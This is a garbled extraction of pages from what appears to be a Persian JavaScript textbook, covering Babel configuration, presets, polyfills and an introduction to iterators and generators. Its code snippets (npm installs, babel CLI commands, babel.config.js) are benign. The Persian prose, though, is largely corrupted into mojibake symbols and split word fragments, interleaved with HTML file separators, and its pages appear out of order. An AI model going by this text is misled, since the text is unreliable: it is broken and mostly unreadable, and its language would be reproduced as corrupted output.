ح¾· م·¸و
»
ب¶ ر
ѼÜ
¿ ما
±» éàÁ
با
:³²
ک
ϳ
¾فا
º» ²æÁ ³
ت مور
ͱ
د
θ Ö
ا
ßÁ»
const
babel =
require
(
“@babel/core”
);
babel.transform(
“code”
, optionsObject);
¼ µ
پ
±²¹º»¼
ر کد جا
³
· آن
Á»
و
û²Ó
با
babel
ز هس¾¶
» ϳ
¾فا
º» ¶
· م·باشد ک
ÉÕ
¿ م
±
بد
ø
و
Ó
کد
ر¼´ آن
²
ب
transform
م¾د
·Á»
و
û²Ó
م·باشد ک¶ با
Ʊ
د
θ Ö
ا
ßÁ» ´»²
ب
object babel
ز
» ϳ
¾فا
º»
قاعد¸ا
éà .³
م·شو
Ö
ا
ßÁ» ²¾
م
»
ار
Å
ن
»
و
É
ب¶ آن ب¶ ع
Ê
بو
²
ات م
È
ی
æÉ¸ ¼ ²æÁ ³
ن کد مور
³»³ í
ا
Å ¼
Ú± ¶
یاز ب
Á ìÅ ،
½ آ¼ر باشد
»
عذ
µº» ¿¹È
م
Ö
ا
à ƹ
ب¶ ش
core
ز
» ϳ
¾فا
º» ¶
د ک
±
م¾وج¶ شد
م·شو
í
حسا
»
ت
ͱ
د
θ ¿±» Ö
ا
ßÁ» ´»²
ل· ب
»¼
ژ
±¼ ó
ی
Þ
م
CLI
ÛÀä
ما
ر
³ ،µº» ϳ
ام¶ها بو
Á²
ب¶ ب
Ê
بو
²
مور م
» Ö
ا
ßÁ» ´»²
½ ب
»
ها´ جذ
ó
ی
Þ
ز م
» ·¹± Ï
ر
»
و
È
ه
6
CLI
ó
ی
Þ
م
یاز ب¶
Á
د
ɱ
آ
²Ó ¿±» Ö
ا
ßÁ» ´»²
. ب
³
و
ÈÁ ϳ
¾فا
º»
transpile
´»²
ن ب
»
م·¸و
ó
ی
Þ
¿ م
±»
ز
» ،×
ی
Á
babel
³
مور
م·باشد. مثا
7
@babel/cli
ن
³
بو
éàÁ
npm install --save-dev @babel/core @babel/cli
./node_modules/.bin/babel src --out-dir dist
Ê
بو
²
´ م
²É±
با
Ʊ
ا
Ó ¶
ب
./node_modules/.bin/
²
ز مسی
»
babel
Ʊ
ا
Ó ¶
ه· ب
³ í
ر
³
با آ
°
ر کد با
³
³
ها´ موجو
Ʊ
ا
Ó ³
¿ مور
±»
ر
³ ¶
، ک
Ù
هی
³ í
ا
Å
ب¶ آن
»
ر
²æÁ ³
ات مور
È
ی
æÉ¸ Ù
ی
Á»
¼ م·¸و
Ù
ی
º²
می
cli
ب¶
، بد¼ن
Ù±» ¶¾Ó²ÌÁ ²æÁ
ر
³ ı»²
· ب
±
د
θ å
ما چون هی
» ،
د
É
م·ک
ÆÝ¾É
م
dist
وش¶
Å ¶
ب
»
ر
src
²
ر مسی
³
م·شو
ÆÝ¾É
سان م
¹±
شدن ¼ ب¶ صورت
Ʊ
د
θ
6 Command Line Interface (CLI)
7 https://babeljs.io/docs/en/babel-cli
179
Íä· ØÉ³
================================================ FILE: HTML/182.html ================================================
´»²
ب
--
help
ز
»
ید
Á»
گ· م·¸و
³
ا
º ¶
، ب
Ù±»Ï³²
ک
ϳ
¾فا
º» ·
¼ج
²Ã ²
یی¿ مسی
Õ¸ ´»²
ب
--
out-dir
ز
»
ما
ها
³²
کارب
²
کث
» ´»²
ت ب
»
¾ور
º³ ¿±²¸ÙÔ
ما م
» ،
د
±²
ی
Ì
ب
ÚÈ
ک
ϳ
¾فا
º» Æ
ت قاب
»
¾ور
º³ ·Ý
ماب
ı
ا
ÈÁ
م·باشد.
--
plugins
¼ --
presets
[
Plugins & Presets
ر
³ ،
د
É
م·باش
í²¾º³ Æ
· قاب
±
گی¿ها
ÍÅ é
ر قال
³ Ù
هی
³ Ö
ا
ßÁ» Ù
هی
»
و
÷
· ک¶ م
±
ها
Ʊ
د
θ
Ö
ا
ßÁ» Ï
و
ÞÁ
ر
³
د ک¶ ب¶ آن
ɾ
· هس
¹
کوچ
µ
پ
±²¹º»¼
ها´ جا
Ʊ
ا
Ó
babel
گی¿ها´
ÍÅ µÝ
ی
Ý
ح
²æÁ ³
ت مور
ͱ
د
θ Ö
ا
ßÁ» ´»²
وش¾¶ ¼ ب
Á »
ر
³
و
à ¿
گی
ÍÅ ¶
ان ک
¹
م
» ¿±» ·¾
د، ح
ÉÉ
م·ک
ÚÈ
ها ک
Ʊ
د
θ
´ مث
²Î¾Õ
گی¿ها´ م
ÍÅ ¶
ب
µº» ²¾Ô
ب
ES5 ¶
ب
+ES2015 Ʊ
د
θ ´»²
، ب
³
ر
»³ ³
ی× ¼جو
Á ³²
ک
ϳ
¾فا
º»
ید.
É
ک
³
ا
Ⱦ
ع
»
arrow
Û
ب
»
´ ¸و
»²
ب
@
babel/plugin-transform-arrow-functions
npm install --save-dev @babel/plugin-transform-arrow-func-
tions
./node_modules/.bin/babel src --out-dir lib --plugins=@
babel/plugin-transform-arrow-functions
ید:
É
ک
Ʊ
د
θ ES5 ¶
ب
»
ر
²±
د کد ز
ÉÁ
· ما
±
ید کدها
Á»
م·¸و
²æÁ ³
گی¿ مور
ÍÅ éàÁ
ز
» ìÅ
const
fn =
()
=>
1
;
// converted to
var
fn =
function
fn
() {
return
1
;
};
¼ ϳ²
ک
Ñ
ا
È
ع
» ¶¾
وش
Á ´
ر¼´ کدها
²
ب
»
ر
²æÁ ³
گی¿ مور
ÍÅ
ن
»
گ· م·¸و
³
ا
º ¶
ک¶ ب
Ù
ی
É
م·ک
Ï
اهد
Ð
م
¶Á
گا
»
گی¿ جد
ÍÅ Ú±
د
±
با
Ù±
ر
»³ ²æÁ
ژگ· ک¶ مد
±¼ ²
´ ه
»²
ا ب
±
ما آ
» ،Ù
ی
É
¸ولید ک
»
ر
³
و
à ²æÁ
¼ج· مد
²Ã
،³
·شو
ÈÁ ³
ا
ÔÉÐ
ی
Å Ù
ن ه
»
و
É
ع
å
د ¼ ب¶ هی
º
·ر
ÈÁ ²æÁ ¶
· ب
Þ
ی
Þ
ص
Æ
ح
Ï»
؟ ر
Ù
ی
É
ک
ϳ
¾فا
º» ¼ éàÁ
ز
» ¶
وع
Èß
م
Ú±
ک¶
Ù
ی
É
م·ک
ϳ
¾فا
º»
preset
Ö
ا
Á ¶
· ب
Á
ا
¹
م
»
ز
» ²
م
» ¿±» Ö
ا
ßÁ» ´»²
ب
µÝ
ی
Ý
ر ح
³
.µº» Ï
یی¿ شد
Õ¸ ÆÎ
ز ق
» ´
گی¿ها
ÍÅ
180
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/183.html ================================================
preset
ید
Á»
ی× م·¸و
Á
ا
È
¼ ش
³
ر
»³ ³
ی× ¼جو
Á ê¾
ها´ مخ
preset
³
ا
ß±» ¼ ´
از
º ·à
ان شخ
¹
م
»
یی¿
Õ¸ Ä
ی
Å
ز
»
ور
ÔÐ
م
preset
Ú± ×
ی
Á
babel
ما
» ،
ید
É
ک
ϳ
¾فا
º»
ز آن
» ¼
ید
É
¸ان ر¼ ¸ولید ک
³
و
Ã
و
ÈÁ ϳ
¾فا
º»
ن
»
ها م·¸و
Ʊ
د
θ ´³
مور عا
» Ö
ا
ßÁ» ´»²
ک¶ ب
³
ر
»³
env
Ö
ا
Á ¶
ب
Ï
شد
م·باشد:
²±
ز
ƹ
ب¶ ش
preset
¿±»
ز
» ϳ
¾فا
º» ¼ éàÁ
npm install --save-dev @babel/preset-env
./node_modules/.bin/babel src --out-dir lib --presets=@
babel/env
³
و
à ²æÁ ³
مور
preset
¼ Ù±» ϳ
و
ÈÁ ϳ
¾فا
º»
core
ز
» --
presets
ز آرگومان
» ¶
ک
Ù
ی
É
م·ک
Ï
اهد
Ð
م
¿±»
ز
» ϳ
¾فا
º»
. با
³²
گی
Ö
ا
ßÁ»
ز آن
» ϳ
¾فا
º»
با
Ö
ز
° ´
ها
Ʊ
د
θ ¶
ی
Â
¸ا ک
Ù±» ϳ
و
ÈÁ ·Ó²Õ
م
core
ب¶
»
ر
ϳ
¾فا
º» ،²æÁ ³
ب¶ کدها´ مور
Ñ
ا
È
ع
» ´»²
ب
ES2015+ Ʊ
د
θ Ö
ا
ßÁ» ´»²
ب
Ö
ز
° ´
گی¿ها
ÍÅ Ö
ا
ȸ
preset
ها´
²
¼رگ
²
ر م
³ ð
ی
Þ
´ ص
»²
ج
» ´»²
کدها ب
Ʊ
د
θ ´»²
ب
»
ما ر
²æÁ ³
مور
ò
گ· هد
³
ا
º ¶
د ¼ ب
Á
م·شو
ا¸·
È
ی
æÉ¸
د
ÉÁ»
ها م·¸و
preset
¼ ³
·شو
ÈÁ Ù¾Ã
ی¿ جا
È
ی¶ ب¶ ه
ñ
ما ق
»
د.
Á
از
º·
م
ëÝÞ
م
»
ر
ò
هد
م¶
»³»
ر
³ ¶
د ک
ɱ
ا
ÈÁ ϳ
¾فا
º»
transpile
Ö
ا
ßÁ» Ï
و
ÞÁ ´»²
· ب
±»²
ج
»
¾ور
º³
ن
»
و
É
ز آن ب¶ ع
» ¼ µÓ
ا
±
ر
³ »
ر
· م·شو
º
ر
²
ب
²¸Æ
کام
[
babel
»
ا
ÇÃ
نظ
Á Ó
فای
¿¹È
ک¶ م
Prettier
ا
±
ESLint
د
ÉÁ
ما
²Ì±³ ´
رها
»×
ب
»
د
ÉÁ
ا
È
¼ ه
³
ر
»³ û
فی
Á
کا
µ
ی
Â
قاب
babel
Ë
و
àà ¿±»
ر
³ ·±
و
ß¾
ا جس
Ⱦ
ح
³
یس¾ید ¸وصی¶ م·شو
Á
ا
É
آش
Ù
ه
²
گ
»(
ا باشید
É
با آنها آش
槯
¿ کار
±» Ö
ا
ßÁ» ´»²
، ب
Ù
هی
³ ¶Ç»
ر
»
ب¶ آن
»²
ج
» ´»²
ب
»
ر
³
و
à ²æÁ ³
ات مور
È
ی
æÉ¸ Ù
ی
Á»
، م· ¸و
)
هید
³ Ö
ا
ßÁ»
³
و
à óº
ز آنها ک¶ ¸و
» ·¹± ¶
ا ب
ßɱ»
ر
³
ک¶ ما
³
ر
»³ ³
¼جو
babel
´»²
ب
8´³
د
Õ¾
ها´ م
Úκ ×
ی
Á
.Ù±
ز
»³²Å·
م
µº» Ï
ی× ¸وصی¶ شد
Á
babel
³
ا
ß±» Ïܼ²Å
ر ر¼ت
³ babel.config.js Ö
ا
Á ¶
ب
Ʊ
ا
Ó Ú± »
ب¾د
» ²æÁ ³
ات مور
È
ی
æÉ¸ Ö
ا
ßÁ» ç¼²
´ ش
»²
ب
سید:
±
و
É
آن ب
ÆÃ»³
ر
³ »
د´ ر
Õ
¶ کد ب
¹¸
ر
³ Ï
شد
²
ک
è
ات
È
ی
æÉ¸
ات
±
¾و
Þ
ید ¼ م
É
ک
8
https://babeljs.io/docs/en/configuration
181
Íä· ØÉ³
================================================ FILE: HTML/184.html ================================================
const
presets = [
[
“@babel/env”
,
{
targets: {
edge:
“17”
,
fireFox:
“60”
,
chrome:
“67”
,
safari:
“11.1”
,
},
},
],
];
module
.exports = { presets };
´»²
د ک¶ ب
É
م·ک
³
لو
»
· ر
±
گی¿ها
ÍÅ
ا
Ôɸ
transpile
Ö
ا
ßÁ» ´»²
ب
preset env
ات
È
ی
æÉ¸ ¿±» Ñ
ا
È
ع
»
با
کد
µÃ
ا
º
ر
³ »
ح¾· ما ر
»
· ک¶ ب¶ ر
±
ا
α
¼ ز
ϳ
ا
º
ات
È
ی
æÉ¸ ،
د
É
یاز باش
Á ³
مور
ò
ها´ هد
²
¼رگ
²
¿ م
±»
د.
Á
ا
º
ار´ م·ر
± ê¾
ها´ مخ
²
¼رگ
²
ر م
³ »²
ج
» Æ
قاب
[
babel
¸ا و
Polyfill
ا
±
Promise , Weakmap
د
ÉÁ
ما
+ES2015 ´
ژگ·ها
±¼ Ö
ا
ȸ
ز
» ϳ
¾فا
º» ¼
ها
Ʊ
د
θ Ö
ا
ßÁ» ´»²
ب
ر´
»
بارگذ
³
و
à ´
´ کدها
»
ب¾د
»
ر
³ »
ر
³
ر
»
¿ مو
±» ¶
ب
Ê
بو
²
ها´ م
polyfill µ
س
±
¼… م·با
generic
Û
ب
»
¸و
»
ر
transpile
یات
ÂÈ
ع
babel
¶¹É±» ²
ک¶ بخاط
Ù±»Ï³»³ ð
¸وضی
²¸Ä
ی
Å »
ر
²
م
» ¿±» Æ
لی
³( Ù±³²
م·ک
babel/
ن با
»
ما م·¸و
» ،)µ
یاز هس
Á Ë
ا
à ´
ها
íÍ
¼ ک
Û
ب
»
´ ¸و
»²
ها ب
polyfill ¼
هد
³·
م
Ö
ا
ßÁ»
ی
É
م·ک
éàÁ »
ر
ù
ی
¹Å éàÁ »
ب¾د
» ìÅ ،³²
ک
Æ
ح
»
ر
³
ر
»
¿ مو
±» @polyfill
npm install --save @babel/polyfill
¼ Ù±
ر
»³ Ò
ح¾یا
» ×
ی
Á
dev
ó
ی
Þ
ز م
» Ò
ار
Ã
ر
³
ها
polyfill ¿±» ¶
، چون ب
Ù±³
ز
--
save
ید ک¶
É
ک
µ
ق
³
ز
» ϳ
¾فا
º» ´»²
د ¼ ب
É
ش¾¶ باش
»³ ³
ی× ¼جو
Á polyfill ´
، کدها
Ï
¾¶ شد
Ó²
¼ج· گ
²Ã Ʊ
ا
Ó
ر
³ µ
س
±
م·با
182
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/185.html ================================================
ی
É
م·ک
ϳ
¾فا
º» --
dev-save
ز
» ¶Õº
¸و
ó
ی
Þ
ر م
³
یاز
Á ³
¶ها´ مور
Á
ک¾ابخا
با
Ù
ی
Á»
ک¶ م·¸و
Ù±
ر
»³
useBuiltIns
Ö
ا
Á ¶
وب· ب
à ¶É±×
گ
Ù
ی
É
م·ک
ϳ
¾فا
º»
preset env
ز
»
چون
Ñ
ا
È
ع
»
ز
» ìÅ ،Ù
ی
É
ک
ϳ
¾فا
º» ×
ی
Á
babel
ها´
polyfill ç
و
Èß
ز م
» ·
گ
³
ا
º ¶
ب
usage
ر¼´
²
آن ب
Ù
ی
æÉ¸
م·شو
²±
ز
ƹ
ب¶ ش
babel
ات
È
ی
æÉ¸ Ʊ
ا
Ó ¶É±×
¿ گ
±»
const
presets = [
[
“@babel/env”
,
{
targets: {
edge:
“17”
,
fireFox:
“60”
,
chrome:
“67”
,
safari:
“11.1”
,
},
useBuiltIns:
“usage”
,
},
],
];
module
.exports = { presets };
ها ¼
polyfill Ö
ا
ȸ ¶
د ک
É
م·ک
Ʊ
د
θ ´»¶Á
ب¶ گو
»
ام¶ ر
Á²
ب
Ï
وش¾¶ شد
Á ´
کدها
babel
ات
È
ی
æÉ¸ ¿±»
با
د
É
م·ک
ë±
ام¶ ¸×ر
Á²
ب¶ ب
»
· ر
±
ا کدها
Ôɸ ¼
ش¾¶ باشد
»³ »
ر
ò
ها´ هد
²
¼رگ
²
یاز م
Á ³
د´ها´ مور
É
یازم
Á
´ مثا
»²
د. ب
É
کدها م·باش
ð
ی
Þ
´ ص
»²
ج
»
یاز
Á ³
ک¶ مور
Promise
.resolve().finally();
م·شو
Ʊ
د
θ ²±
ب¶ کد ز
Ù±» ϳ»³
babel
ا¸· ک¶ ب¶
È
ی
æÉ¸ Æ
لی
³ ¶
ب
ø
و
Ó
کد
require
(
“core-js/modules/es.promise.finally”
);
Promise
.resolve().finally();
·Á
ا
Î
¾ی
ÐÅ Promise.prototype.finally
ز
»
edge
²
¼رگ
²
م
17 ¶
سخ
Á ¶
ک
µº» Æ
لی
³ ¿±» ¶
ب
ø
¸فا
» ¿±»
183
Íä· ØÉ³
================================================ FILE: HTML/186.html ================================================
²æÁ ³
¶ کد مور
¹¸ ´»²
ج
»
ز
» ÆÎ
بوط¶، ق
²
ن کدها´ م
³²
ر´ ک
»
با بارگذ
babel
Ä
¿ بخ
±»
ر
³ ¼
د
É
·ک
ÈÁ
د.
É
م·ک
Ù
ه
»²Ó »
ر
²æÁ ³
کد مور
native
´»²
ج
» ¶
ی¶ ب
Î
´ ش
³²¹±¼
ر
ها´
polyfill Ö
ا
ȸ Ù±³
ور بو
Îß
، م
Ù±³²
·ک
ÈÁ ϳ
¾فا
º»
useBuiltIns
ات
È
ی
æÉ¸
با
preset env
ز
» ²
گ
»
.³²
ر گی
»²
ق
Ù±²
¼ج· م·گی
²Ã ¶
´ کد´ ک
»
ب¾د
»
ر
³
¸ا
Ù
ی
É
ک
require
³
و
à ·Â
ص
» Ʊ
ا
Ó
ر
³
ار
ι± »
ر
³
موجو
ϳ
¾فا
º»
با
Ë
و
àà ¶
ب
transpile
ب¶
Û
ج
»
¼ل· مفید´ ر
²à¾
ات مخ
Þ
· شد ¸وضی
Õº Ä
¿ بخ
±»
ر
³
ات
Þ
¿ ¸وضی
±» ¼ ³
ر
»³ ´³
ا
±
ز
îÞ
· جا´ ب
±
ا
Ôɸ ¶
ب
é
ال
ä
ز م
» Ú± ²
ما ه
» ،³
شو
ϳ»³ ð
¸وضی
babel
ز
»
»
ر
babel
û
فی
Á
ن کا
»
¶ م·¸و
¹
ر حالی
³ ،³
بو
babel
³²
کارک
Ï
و
ÞÁ ´²
گی
³
ا
± ´»²
¶ ب
±
ا
Šƹ
¼ع· ب¶ ش
²
ش
³²
ر م·گی
»²
¾یارمان ق
û
ر
³ ¶
´ ک
³
د
Õ¾
ات م
Á
ا
¹
م
»
ز
» ¼ ³»³ Ö
ا
ßÁ» ´²Ì±³
bundler
ا
±
webpack
با
µ
وش
Á
ا
Å ÚÉ
ب¶ لی
ES6 ´
ام¶ها
Á²
ن ب
³²
ک
deploy
Ë
و
àÃ
ر
³ ²¾Ð
¶ بی
Õ
ال
ä
´ م
»²
. ب
³²
ک
ϳ
¾فا
º»
9
¶ شو
Õ
ج
»²
م
9 https://leanpub.com/setting-up-es6/read#ch_deploying-es6
184
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/187.html ================================================
¾رود
º
ر
²
ای¿ بخش ا·تظ
À
ع
¹²
ط
º
از
Á
پ
±
ید.
É
ک
µÎÞ
¶ آن ص
ã
خ
±
¼ ¸ار
µ
پ
±²¹º
ا
È
ک
» ³
ر مور
³
±
باشید.
óÂ
مس
»
ر
Ï
شد
²
ک
è ·
ژگ
±¼ ¼
آن
6 ¶
سخ
Á Ë
و
à
بخ
ES
سخ¶ها´
Á
±
سید.
±
و
É
ب
polyfill Ë
ا
à ·
ژگ
±¼ Ú± ´»²
ید ب
Á»
¼ ب¾و
ϳ
م¾وج¶ بو
»
ر
polyfill Ö
و
Ô
مف
±
ید.
É
ک
²
ک
è »
ر
polyfill ¶
ب
µÎ
س
Á ponyfill µ±×
م
±
ϳ
و
ÈÁ Ø
ر
³ Í
کام
»
شدن آن ر
Ö
ا
ßÁ» ëäÉ
ید ¼ م
É
ک
ϳ
¾فا
º»
closure
ز
» ponyfill ¿¾
وش
Á ´»²
ب
باشید.
±
هید.
³ ï²
ش
»
آن ر
³²
کارک
Ï
و
ÞÁ
ید
Á»
م¾وج¶ باشید ¼ ب¾و
»
ر
transpile
Ö
و
Ô
مف
±
ا باشید.
É
آش
transpile
´»²
ب
³
رها´ موجو
»×
ب
»
با
±
هید.
³ ï²
ش
»
ش¾¶ ¼ ¸فا¼تها´ آنها ر
»³ ·¸
عا
Í
ط
»
babel
ر
³
presets , plugins
³
ر مور
³
±
µ
پ
±²¹º
ا
È
ک
» 6 ¶
سخ
Á
´ با
»Ïܼ²Å
ز آن
» ϳ
¾فا
º»
¼ با
ϳ»³ ð
¸وضی
babel
³²
کارک
³
ر مور
³
ید
Á»
ب¾و
ید.
É
ک
»²
ج
» ¼ ê±²Õ¸ ²æÁ ³
ها´ مور
²
¼رگ
²
ازگار با م
º ¼
185
Íä· ØÉ³
================================================ FILE: HTML/188.html ================================================
186
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/189.html ================================================
³¶
بخش د
·ا
Generator
و
Iterator
ا¶½ا¼ بخش:
iterator ±²³
آش¸ای· با مف
iterate Ý
قاب
Á
ا
Ã
object
ͼ
ش¸اخ
ا½ آ¶
Ø
ی
µ
½¶ و
²
ب
iterable äÈÄ
ع
Ǻ½
ا
à iterator
ا با
ö
آ
å
ا
»Àºµ Ǻ½
ا و
Ãgenerator
آش¸ای· با
º²
م¸ظ
Ü
اصد خا
Ñ
م
Áµ
ا بر
Ãgenerator
ز
µ ½
س¼فا
µ
ا
ö
آ
Á
د
È
کل
ÓÈÃ
ا و مفا
Ãgenerator äÈÄ
ع
Ǻ½
================================================ FILE: HTML/19.html ================================================
س· ¼ زبان
±
و
Á¶
ام
Á²
¶ ب
±
ا
Å Ù
ز مفاهی
» ،
هید شد
»
و
Ã
ا
É
ف· آش
¾
مخ
ÆÇ
ک¾ا½ با مسا
Ñ
و
àÓ Ñ
ر طو
³
ا
È
ک
» ³
ر
»
د
Á
¾ا
º» í
ا
º» ²
¿ زبان ک¶ ب
±»
د
±
سخ¶ها´ جد
Á ¼ µ
پ
±²¹º»¼
جا
ë
ی
È
ع
î
اح
Î
¾¶ ¸ا م
Ó²
گ
دگان
É
ه
³ ¶Õº
، ¸و
³
· بو
Á
ا
Ó
· ¼ طو
Á³
¾و
º
بسیار
6 ¶
ب
5 ¶
سخ
Á
ز
»
ا
È
ک
» ÄÔ
د، ج
Á
ر´ م·شو
»
¶ گذ
±
ا
Å
سخ¶
Á ¿±»
ر
³ Ï
¶ شد
Ó
ضا
» ´
ید
Â
ژگ·ها´ ک
±¼ ¼ µ
ش
»³
د
É
ه
»
و
à ²
بخاط
»
ر
ES6 Ï
ر
»
و
È
ه
µ
پ
±²¹º»¼
جا
¿±» ²
· ما ب
Õº Ö
ا
ȸ ½
¿ ک¾ا
±»
ر
³ ،
د
É
ه
³·
ر م
»²
ق
ϳ
¾فا
º» ³
مور
»
د ر
É
´ م·باش
³²
کارب
Ù
ک¶ بسیار ه
سان
±
و
Á¶
ام
Á²
ب
ï
و
äº Ö
ا
ȸ ´»²
¾¶ ب
Ó²Ð
ی
Å
· ¸ا
±»
ب¾د
» î
اح
Î
ز م
» ϳ
ا
º ¼ Æ
· کام
ÕÎÉ
، ¸ا م
µº» ϳ
بو
س·
±
و
Á¶
ام
Á²
ب¶ ب
ç¼²
ش
Ï
هد ¸از
»
و
÷
¼ م
µ
هس
²¸
¾ار
º»
ن
»
و
É
´ ک¶ ب¶ ع
³²Ó ¶
´ ک
»¶Á
، ب¶ گو
Ù
هی
³ ¶Ç»
ر
»
µ
پ
±²¹º»¼
ز جا
» ϳ
¾فا
º»
س· با
±
و
Á¶
ام
Á²
ر ب
³ ·
ول
Î
ق
Æ
قاب
ðäº ¶
ز ک¾ا½ ب
» ϳ
¾فا
º»
د با
Á»
د ب¾و
É
ک
¶Õ
ال
ä
د با م
Á»
ی× ب¾و
Á ³
ر
»³ µ
پ
±²¹º»¼
جا
³
ر مور
³ ´»¶
¼لی
» ÄÁ»³ ¶
´ ک
³²Ó ¿
ی
ÉãÈ
د ¼ ه
É
ک
»
ید
Å µº³
د.
É
¶ ک
Ó
ضا
» ³
و
à ÄÁ»³ ðäº ¶
ب
Ï
ا¸· ¸از
¹Á ،½
ک¾ا
¶Ý
قی
³
د
É
چ
»
دن ک¾ا½ ر
Á»
و
à ،
د
±
· شد
È
رگ
³²º
ا
± ·Ì¾
س
Ã
چار
³ ½
ز ک¾ا
» ·Ð
دن بخ
Á»
و
Ã
ر
³ ²
گ
»
با
²
گ
» .
ید
±
ا
ÈÁ ¶Õ
ال
ä
ب¶ م
ç¼²
ش
»³
د
ß
´ م
²¾Ð
´ بی
ܲÁ»
¼ با
ϳ²
ک
µ
ح
»²¾º» ·È
ید، ک
É
ک
ê
م¾وق
ر میان
³ »
ر
³
و
à ƹÐ
م
Ï
د
É
ب
Æ
ی
ȱ» í
ر
³
ا با آ
Ⱦ
د ح
ÐÁ ÛÓ
ر
²æÁ ³
· مور
È
رگ
³²º ³
د
ß
¶ م
Õ
ال
ä
م
هد.
³·
اعف· ب¶ م¿ م
ñ
´ م
ܲÁ» ½
دگان ک¾ا
ÉÁ»
و
Ã
با
²¾Ð
بی
Ê
ا
θ
ر
» ،
د
±
ر
»
ذ
Ì
ب
د،
º
م·ر
²æÁ ¶
ب
ϳ
ا
º
¾ان
±»²
ز ک¾ا½ ب
» ·Ð
بخ
²
گ
» ،
ید
É
¶ ک
Õ
ال
ä
م
Æ
کام
»
ید ک¾ا½ ر
É
· ک
Õº
ا
Ⱦ
ح
ر
³ ²¸´»¶Ó²
¼ ح
²¸½»
جذ
é
ال
ä
م·باشد ¼ م
ƹ
ب¶ آن ش
ò»²
گ
»
ار
Å
ان
È
ه
óÝÓ ¶
ک
Ù
هی
³·
م
Ñ
ا
Ⱦ
ح
»
د.
É
ا م·باش
È
ش
óº
¶ شدن ¸و
Õ
ال
ä
م
²æ¾É
د´ م
Õ
ها´ ب
ò»²
گ
»
ار
Å
ا بد¼ن
Õä
، ق
Ùɹ
می
²¹Ð¸ ،
د
Á» ϳ
و
ÈÁ ´
ار
± ½
¿ ک¾ا
±» ê
ر ¸الی
³ »
×´ ک¶ م¿ ر
±×
¾ان ع
º¼³
ز
»
ان
±
ا
Å
ر
³
¼ Ä
ار´ بخ
±
ن
»×±×
¿ ع
±»
غ
±
ر
³ ·
ات ب
È
ک¶ زح
»²
·شد، چ
ÈÁ ϳ
· آما
ÂÕÓ ½
ان ک¾ا
Á
آ
µ±
ا
È
ار´ ¼ ح
±
ÚÈ
ک
µ
باب
می
±
رح
²
هد
³
ان
±
ز آقا
» ´»Ï
ژ
±¼ ²¹Ð¸ ،µº» ϳ
´ ما بو
»²
ب
²
¿ مسی
±» ¶
م
»³» Ï
د
É
ه
³
مید
»
²±
ا
º ϼÍÕ
، ب
Ö
ر
»³ ½
ک¾ا
Ú
ی
Ó»²
گ
Ö
ا
ßÁ» ´»²
ب
²
عو´ ساجد
µ³
ک¾ا½ ¼
á
ار
ÌÁ
ر
³
ان
б» ³
ا
±
بسیار ز
:³³²
م·گ
²
ک
è Ä
¿ بخ
±»
ر
³
ام· آنها
º»
ن
»×±×
¿ ع
±»
ز
» ²¹Ð¸ ¼ Ö»²¾
ح
»
د
à
¾ان ک¶ ب¶ ق
º¼³
±
·É
د حسی
È
ح
»
ید
º
±
ور
Å ´
ر
°
بیژن
±
Ï»
و
ó»³ ³»³²Ô
م
·Ç
رضا
²
ف
Õ
ج
²¹Ð¸
با
jafar.rezaei.ard@gmail.com
================================================ FILE: HTML/190.html ================================================
[
¸ا
Iterator
»
ک¶ آنها ر
µº» ¿±» ³»³ ¶Ç»
ر
»
ها
iterator
´»²
ن ب
»
´ ک¶ م·¸و
»Ï³
ا
º ê±²Õ¸ µ
پ
±²¹º»¼
ر جا
³
ات
Á
ا
¹
م
» ¶
ک
µ
س
Á»³
ها
ϳ»³
ز
» ´»¶
وع
Èß
ر¼´ م
²
¶ ب
ÝÂ
ح
³
ا
ß±» ¼
ر
»²¹¸
ز
»
م¾فا¼ت
Úκ Ú±
ن
»
م·¸و
هد.
³·
ر م
»²
¾یار ق
û
ر
³ »
· ر
Î
جال
Ú±
ز
» ،
د
É
م·ک
Ù
ه
»²Ó »
وع¶ ر
Èß
م
Ú± ´¼
ر
²
ب
)
ر
»²¹¸(
iterate
´»²
ف· ب
¾
ات مخ
Á
ا
¹
م
» µ
پ
±²¹º»¼
جا
²
ر ب
»²¹¸ Ï
و
ÞÁ
ز
» ·¸¼
م¾فا
ç
و
Á
ها
generator
ها ¼
Iterator
.²¾Â
ی
Ó ¼
map
¾¶ ¸ا
Ó²
گ
for
ϳ
ا
º ¶ÝÂ
ح
د.
Á» ¶¾Ó²
ر گ
»²
ر¼´ هس¾¶ زبان ق
²
ا ب
È
ی
ݾ
د ک¶ مس
ɾ
وع¶ هس
Èß
م
Ú± ´¼
ر
ز
» ìÅ »
¾· ر
Ð
ر بازگ
»
د
Ý
م
Ú± ·Â
ا ب¶ طور ک
± ¼ »²
ج
»
ز
» é
¸ی
²¸ Ú± ¶
ک
槯
object
Ú±
iterator
ƹ¸¼²Å
ز
» ¶
´ ک
object
²
، ه
Ù
ی
É
بیان ک
²¸Ë
ا
à ƹ
ب¶ ش
Ù
هی
»
بخو
²
گ
»
ا
± ،
د
É
م·ک
Ù
ه
»²Ó ³
و
à ¶È¸
ا
Ã
.槯
iterator
د،
É
ک
µ
ی
Õ
¸اب
1
Iterator
[
iteratable
Ó
ک
Á
پرو
Ö»×
ل
» ¼
د
É
یی¿ م·ک
Õ¸ »
· ر
É
ی
Á»
، قو
object
Ú±
ن
³
بو
iterate
Æ
· قاب
º
ر
²
´ ب
»²
ب
ƹ¸¼²Å ¿±»
. م¾د
µº» ϳ²
ب
ÿ
ر
»
ز آن
» ·ÂÕÓ
object
· ک¶
±
ها
object
ز
» ·¹±
ا
± ²æÁ ³
مور
object
د ک¶
É
م·ک
1 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols
188
²º
Generator
و
Iterator
================================================ FILE: HTML/191.html ================================================
¿ م¾د ک¶
±» .)
ش¾¶ باشد
»³
@@iterator
Ö
ا
Á ¶
ژگ· ب
±¼ Ú±(
باشد
ϳ²
ک
»²
ج
» »
ر
Symbol.iterator
Ú±
ن
³
بو
iterate
Æ
ن ¼ قاب
³²
ک
iterate
í
ا
º»
هد شد
»
و
à ϳ»³ ð
¸وضی
Æ
کام
ƹ
م¶ ب¶ ش
»³»
ر
³
iterate
Æ
¶ قاب
ÝÂ
¿ ح
±»
ک¶ با
Ù
· ه
±
ها
object
Ö
ا
ȸ ¼ µº»
for..of
د
ÉÁ
´ ما
»¶ÝÂ
ح
óº
¸و
object
د.
ÉÉ
¼´ م·ک
